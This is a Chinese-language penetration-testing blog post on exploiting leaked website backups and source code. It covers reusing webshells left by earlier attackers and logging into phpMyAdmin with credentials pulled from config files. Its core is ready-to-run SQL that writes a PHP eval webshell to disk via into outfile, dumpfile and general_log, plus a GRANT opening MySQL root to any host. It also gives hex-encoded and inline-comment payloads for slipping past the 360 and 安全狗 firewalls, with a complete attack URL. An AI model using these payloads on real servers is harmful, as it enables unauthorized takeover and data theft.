渗透测试中,我们信息收集过程中有些时候会扫到网站的备份文件,或者通过git、svn等信息泄露获得网站的源码。以下我提供几个自己在渗透测试过程中遇到备份文件或者网站源码之后的几个思路。
这一步可以获取网站源码里面已有的webshell,可以直接去连接webshell,说明有前人已经替你打好那些常规的渗透,你只需借助前人的肩膀继续深入渗透就可以了。古人诚,不欺我,站在巨人的肩膀上才能有更高的成就。
网站备份可以扫到webshell的原因有以下几方面:
网站搭建选择模板的时候,没有从正规网站进行下载,而是使用了别人传到网上带有后门的模板
这算是供应链攻击的一种形式吧,毕竟黑产从业人员很多人都以类似的方式掌握大量的网站权限进行二次倒卖网站权限牟利。
类似案例:phpstudy后门事件
黑客将二次修改之后装有后门的phpstudy放到各个软件平台供网站开发者下载使用,控制大量肉鸡。
详情:https://xz.aliyun.com/t/6423
网站已经被先来的黑客控制
这种情况,在渗透过程中遇到的比较多,常常是你渗透的目标已经成为别人的肉鸡,而你这时扫描到前人留下的后门,可以省下很多精力。
暂未找到类似案例
网站所用模板官方的后门
这个说实话,如果真的是官方留下的后门,一般来说很难被常规的webshell查杀工具杀出来,因为官方既然敢留后门,就说明他们的后门一定经过免杀,一般杀软杀不到,这种需要借助代码审计来识别。
类似案例:php input后门,忘记是哪里看到的了。
phpmyadmin、adminer等在线数据库连接工具
通过网站数据库连接文件,我们可以找到网站的数据库地址、账号、密码等信息,如果网站有phpmyadmin、adminer等在线数据库连接管理工具,我们就可以直接用数据库账号密码登陆进行webshell上传。
phpmyadmin常用getshell方法:
1.Root数据库用户(root权限)
2.网站绝对路径(确定有写入权限)
3.magic_quotes_gpc:Off(关闭)
导出WebShell其它条件:
1.magic_quotes_gpc:开启时,会对’单引号进行转义,使其变成“\”反斜杠。
2.secure_file_priv:此配置项用来完成对数据导入导出的限制,如允许导入导出到指定目录。
3.file_priv:file_priv权限允许你用load_file、into outfile读和写服务器上的文件,任何被授予这个权限的用户都能读和写服务器的任何文件。
相关操作语句:
into outfile方式: select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/webshell.php'; into loadfile方式:select '<?php @eval($_POST[pass]);?>' into loadfile 'c:/phpstudy/www/webshell.php'; into dumpfile方式:select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:/phpstudy/www/webshell.php';
show global variables like "%genera%"; //查询general_log配置
set global general_log='on'; //开启general log模式
SET global general_log_file='C:/phpStudy/WWW/webshell.php'; //设置日志文件保存路径
SELECT '<?php @eval($_POST[pass]);?>'; //phpinfo()写入日志文件
set global general_log='off'; //关闭general_log模式
当有WAF拦截的时候 我们可以尝试外链 这样提交的数据包不被WAF拦截 grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option; //开启MySQL外链 flush privileges; //刷新MySQL系统权限相关表 这里的这些技巧是从别人那边收集过来的 感谢!!! 绕过360 (通过内联注释) select '<?php @eval($_POST[pass]);?>' into /*!50001outfile*/ 'c:/phpstudy/www/bypass.php'; 绕过网站安全狗<4.0 (通过hex编码) select 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php'; 绕过安全狗4.0 通过hex编码+内联注释 /*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';
绕过server_sql.php、tbl_sql.php、db_sql.php + 安全狗导出WebShell 以上的三个文件的作用是(执行SQL语句) 但是如果被删除了可以通过以下的方法 (1)token需要 (2)自己选择一个数据库和数据表 (3)参数pos=0 &sql_query=/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php'; 例如 http://127.0.0.1/phpmyadmin/sql.php?db=数据库名&token=token值&table=数据表名&pos=0&sql_query=/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';
有些网站会有一些功能之外的tools,方便网站管理员进行各种操作,这些往往都是一个php文件,密码就内嵌在代码之中,翻到之后直接可以登录使用。
类似案例:
· 帝国备份王getshell
· Discuz版本转换工具getshell
· ewebeditor编辑器getshell
等等···
备份文件在我们渗透过程中还是比较常见的,在此谨提供一些我自己的思路,如果大佬还有其他骚思路,欢迎不吝赐教!
一些文中提到的工具:
D盾webshell查杀:http://www.d99net.net/down/WebShellKill_V1.2.9.zip
seay代码审计系统:https://www.waitalone.cn/seay-source-code-auditv2.html
注:工具来源于网络,安全性自查,一切问题与本文作者无关。